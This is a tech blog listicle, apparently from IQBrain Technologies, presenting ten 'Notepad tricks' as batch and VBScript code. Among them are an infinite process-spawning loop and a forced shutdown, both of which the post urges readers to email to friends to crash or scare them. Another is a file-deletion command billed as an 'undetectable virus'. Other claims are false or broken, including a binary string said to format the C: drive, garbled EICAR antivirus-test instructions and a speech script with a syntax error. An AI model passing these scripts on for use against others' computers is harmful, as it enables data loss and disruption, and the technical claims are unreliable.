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Top 10 Must Try Notepad Tricks and Hacks

Top 10 Must Try Notepad Tricks and Hacks

Notepad is a text editor which allows you to take a quick note provided by Microsoft. Every version of windows has this notepad editor and even some smartphones have this application to make some quick edits. It is easy to use and saves your file in the .txt extension. Well, now some of the information you didn’t aware of this black side of Notepad. It is not only used as a general notebook but also can help to create many different kinds of extensions. Some of the popular extensions opened by this editor are .v, .c, .vbs, .bat, .exe etc. The following notepad tricks allow you to run unbelievable commands and hacks.

  • Like command prompt, Notepad can create files, modify system files, and even it create viruses.
  • Like an audio player, it plays the songs.
  • It can also play voice commands as you give.
  • Like malware, it can destroy another computer.

Here, the 10 topmost used notepad tricks are explained for you in detail. Some of the tricks may cause your computer vulnerable. So, think twice before trying these tricks and be ready to deal with the damages.

1. Create 100’s of Notepad Tabs.

Open a notepad and type the below command.

@ECHO off
:top
START
%SystemRoot%\system32\notepad.exe
GOTO top

Now, save the file as Unlimitednotepad.bat. Open the file to see how many numbers of notepads you just opened. You can rename the ‘unlimitednotepad’ to any name you want. It will work the same. To crash your friend’s computer, sent this file to your friend as an email attachment. When they open, an infinite number of notepad editors will be opened and crash their computer.

2. Shut down the Computer with a Pop-up Message.

Type the below command in a notepad.

@echo off
Shutdown.exe -s -t 10
cls
msg * Oh no. Your computer is crashed!

Save this file as shutdown.bat. Open it to shut down your computer with a pop-up message states Oh no. Your computer is crashed!. Send this file as an email attachment to your friends to scare them.

3. Pop out the CD Drive Continuously.

Type the below command in a notepad.

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Now, save the file as cd.vbs. Open the file to see the computer’s CD drive will starts pop-out continuously. This file will close only when you restart/reboot your computer.

4. Create a simple Undetectable Virus file.

Type the below command in a notepad.

@Echo off
Del C:\ *.* |y

Save this file as del.bat. Open it to see what happens to your computer. This file will starts to delete your C Drive files one by one.

5. To Check Whether Your Antivirus is Effective or Not.

Open the notepad editor and type the below command.

X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-
STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Save this file as viruschecker.exe. Open it to check your antivirus effectiveness. If the file flags, then antivirus installed on your system is good. If not, the antivirus starts to scan your computer to check whether it has the ability to flag the file or not. After some scans, the file must flag. If not, then antivirus in your system was not effective and it is recommended to change it.

6. To Format Whole Hard Disk.

Type the below-digit command code in a Notepad.

01100110011011110111001001101101011000010111010000
100000011000110011101001011100
0010000000101111010100010010111101011000

Save this file as formatter.exe. Open the file to see a new formatted C: drive.

7. Convert Text into Audio.

Type the below command code in a Notepad.

Dim speaks, speech
speaks=”Welcome to your PC”
Set speech=”CreateObject(“sapi.spvoice”)
speech.Speak speaks

Save the file as welcome.vbs. Now, open the file to hear the text “Welcome to your PC” in audio format. The file will read the sentence even when you change the message.

8. Convert Keyboard Lights into a Disco Light.

Type the below command code in a Notepad.

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop

Save the file as discolight.vbs. Open the file to see the keyboard lights blink after one another. It will look like a disco light.

9. Matrix Effect on Computer Screen.

Open a notepad and type the command as shown below.

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

Save the file as matrix.bat. Now, open the file to see the matrix effects on your computer screen. Random digits of green color will be displayed on your computer screen.

10. Convert Notepad into a Personal Diary.

Whenever you open and edit the Notepad, this trick will automatically save the date and time log inside it. To make this, follow the steps.

  • Open a notepad and type .LOG for the first time.
  • Save it, close, and reopen the file to see the date and time entered automatically.
  • Now, make an edit, save and close the file.
  • Again, open the file to see the date and time entered a second time automatically.

By this way, you can make it as a personal diary.

Conclusion

Some notepad codes above mentioned may cause severe problems to your computer. So make use of it only for educational purposes. IQBrain Technologies or the author shall not take any responsibility for any issues that occurred on your system. Use the above codes at your own risk.

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